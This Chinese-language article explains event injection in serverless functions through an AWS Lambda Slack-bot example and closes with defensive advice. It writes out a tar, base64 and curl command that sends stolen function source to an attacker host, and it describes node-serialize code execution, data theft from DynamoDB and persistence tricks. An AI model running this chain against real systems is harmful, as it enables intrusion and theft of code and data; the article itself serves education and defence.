扫一扫
关注微信公众号

深入考察无服务器架构的安全威胁,SLS-1:事件注入
2019-01-09   4hou

不久前,OWASP Serverless top 10项目刚刚启动,以便为相关从业者和公司介绍最常见的无服务器应用程序安全漏洞所带来的安全隐患,并提供识别和防范这些漏洞的基本技术。其中,排名前十的项目将于2019年第二季度首次正式发布,而且,其排名将根据从实际行业中收集的数据进行公开选拔。

即将发布的报告将通过在无服务器环境“演练”著名的OWASP Top 10 project来评估其风险,解释并演示在无服务器环境中,这些攻击途径、防御技术和业务影响会带来哪些变化。

本文是我们的系列文章中的第一篇,本文不仅会为读者介绍来自传统的、单体(monolithic)世界中的已知风险,同时,还会为大家介绍我们将面临的一些新的风险。需要说明的是,本文将通过攻击者和防御者两个角度来演示我们所面临的新型攻击技术。

这篇文章讨论了可能是变化最大、也是最令人担忧的一种攻击技术——注入攻击。

SQL注入、OS命令注入、代码注入等攻击手法,常常是黑客们的最爱,因为它们通常会无往不胜。但是,站在防御者这一边,情况就大为不同了。这些攻击方法总是被认为是头号风险,并且通常会尽一切努力来防御它们。不过,虽然单体应用程序的发展至少已经有20个年头了,我们仍然经常听说其中又爆出巨大的安全漏洞,使得攻击者能够插入恶意代码,随之而来的,便是正式的致歉新闻稿,以及客户在相关页面上留下的几十万条的抱怨留言。由此看来,我们一直都没有“学乖”。

实际上,在以前的环境中,防御注入攻击要更容易一些。在采用无服务器架构之前,注入攻击基本上(现在仍然)都具有相同的攻击套路。它们主要是应用程序对于来自网络的不可信来源的输入内容处理不当所致。

现在,上面这句话只能说是部分正确,但在无服务器架构中,“网络”是一个更加复杂的术语。在无服务器架构中,函数通常是通过事件触发的,而事件几乎可以是基础设施提供的任何服务,如云存储、电子邮件或通知,等等。

这意味着编写安全代码时,我们不能再依赖于在网络边界上实施的安全控制了。这是真的:我们无法在收到的电子邮件与其触发的功能之间设置防火墙。对于我们的代码来说,我们既无法知道其运行当下的情况,也不知道之前发生了什么,更不知道它将走向何方。也就是说,它们只是一堆代码而已。如果函数的代码容易受到某种类型的注入攻击,在无服务器架构的世界中,它通常被称为事件注入漏洞。

好了,让我们看看它到底是什么样子吧。

现在,请考虑以下简单的无服务器架构场景:

1.用户与Slack聊天机器人频道进行交互

2.用户消息被发送到Slack后端

3.Slack后端被配置为向公司API网关发送消息

4.该请求通过事件触发一组Lambda函数

5.其中一个lambda函数用于将消息写入动态数据库表

6.然后,向Slack后端发送自动回复

7.这样,就会把请求作为Slack机器人发布到指定的频道上

在我们的示例中,事件注入攻击是可能的,因为通过Slack事件触发的Lambda函数容易受到代码注入漏洞的影响。在AWS上,大多数函数都在运行动态语言(如Python或NodeJS语言),这可能导致运行完全不同的代码,而非原始代码——RCE风格的攻击。

如您所见,上面的代码(在野外经常被发现)使用了eval()函数来解析事件中的JSON数据,我们都知道(我们真的知道吗?),这本来是应该极力避免的。然而,这仅仅是一个例子,任何含有其他类型安全漏洞的代码都面临着被攻击的风险。

在验证漏洞(任何sleep或curl技术都可以)之后,攻击者就可以着手攻击这个无服务器环境了。当然,环境中的大多数文件都不会引起攻击者的兴趣。因此,我们最终可以忘记/etc/passwd示例。实际上,这些文件属于环境容器,并且大多数在应用程序中没有起到重要的作用。但是,它们还可以提供其他方面的线索。例如,通过访问环境,攻击者可以通过注入以下payload来窃取完整的函数代码:

下面,我们来简单解释一下。其中,_$$ND_FUNC$$_ 是将数据视为函数的代码模式。由于函数运行NodeJS语言的代码,所以,我们可以使用require(“child_process”).exec() 来执行新进程。这允许攻击者执行在函数容器上运行的任何进程。这里不会深入讲解AWS Lambda的内部机制,我们只需要知道,当启动NodeJS函数时,可以在运行目录的容器上找到相应的代码。这意味着攻击者可以直接将代码压缩到/tmp(环境中唯一的非只读文件夹)下面,进行base64编码,并将其发送到自己有权访问的地方,例如tar -pcvzf /tmp/source.tar.gz ./; b=`base64 –wrap=0 /tmp/source.tar.gz`; curl -X POST $l4 –data $b。

效果如何?

实际上,用不了一分钟的时间,攻击者就可以获得完整的函数代码:

通过观察代码,发现它好像是用来查看Slack请求的:

即使无法从代码中读取环境变量值,攻击者也可以直接使用它们,因为它们是环境的组成部分。

最终,攻击者可以通过注入代码来修改原始机器人的行为。在下面的示例中,我们可以看到攻击者是如何通过恶意payload修改机器人的化身,并打印原始的ICON_URL (很明显,窃取BOT_TOKEN本身可能会导致部分接管Slack帐户) 的:

当然,攻击者也可以注入使用提供程序API的代码,例如AWS-SDK。这样的话,将允许攻击者与该帐户下的其他资源进行交互。例如,由于易受攻击的函数会从某个DynamoDB表读取数据,因此,攻击者可以使用DynamoDB.DocumentClient.scan()函数以及代码中已有的表数据,从同一个表中读取信息,并利用Slack通道发送窃取的数据:

但是,通过Slack攻击无服务器函数,只是针对应用程序生命周期的新型攻击途径之一。此外,攻击者还可以通过电子邮件(主题、附件或标题)、MQTT发布/订阅消息、云存储事件(文件上传/下载等)、队列、日志、代码提交或任何可以触发我们代码的其他事件来发动这种攻击。

当然,这种攻击的影响还是有所不同的。由于没有服务器,因此,也就无法接管服务器了。但是,尽管在我们的示例中,攻击者能够读取代码、模拟函数、从数据库中窃取数据并入侵该slack账户,但根据易受攻击函数的权限的不同,在某些情况下,可能会导致云账户被完全接管(我们将在后续文章中加以介绍,敬请关注!)。如果该函数能够访问其他资源,那么,只需注入相应的代码即可。

那么,我们应该如何防范这种攻击呢?不是所有的事情都需要改变。大多数传统的最佳实践也适用于无服务器架构环境。永远不要信任输入或对输入的合法性做出任何假设,使用安全的API,并尝试以执行任务所需的最低权限运行代码,以减少攻击面。此外,开发人员还必须接受编写安全代码所需的相关培训——现实告诉我们,这是不可能的。

然而,作为人类,我们非常容易出错的。因此,我们必须找到一种自动化的方法,来进行预防。但是,如果没有一个布防的边界,我们该如何是好呢?

我们认为,无服务器架构环境的防御控制机制,也应该是基于无服务器架构的。否则,我们会失去转移到无服务器环境中的一切。一位智者曾经说过,就像我们不能用剑来保护我们的宇宙飞船一样,我们也不能用旧技术来保护新技术。无服务器架构的防御机制应该是短暂的,它将与其保护的代码一起生死存亡。

此外,还有其他方面的一些因素,使得无服务器架构下的注入攻击不同于传统的注入攻击。我们已经讨论过一些,比如不同类型的输入源、大多数动态语言以及环境中的相关(和无关)文件。同时,还有其他方面的区别。例如,无服务器函数的生存时间通常只有几秒到几分钟。在这样的环境中,攻击该如何实现持续化呢?正常的攻击肯定会持续到函数失效,攻击者可能不得不重复发动攻击,这会导致被发现的概率增大。然而,该攻击还有其他实现持久化的方式。一种方法是直接维持容器的“体温”,这意味着攻击者每隔几分钟就会触发一次事件,以确保容器继续运行。另一种方法是注入payload来修改函数的源代码,这些将在后面的文章中详解介绍。这种方法将导致所有新容器都将与恶意代码一起运行,从而导致环境被攻击者长期占据。

热词搜索:无服务器 安全威胁

上一篇:解密NFV:互操作性和API之间不得不说的关系
下一篇:态势感知——服务器安全策略探索

分享到: 收藏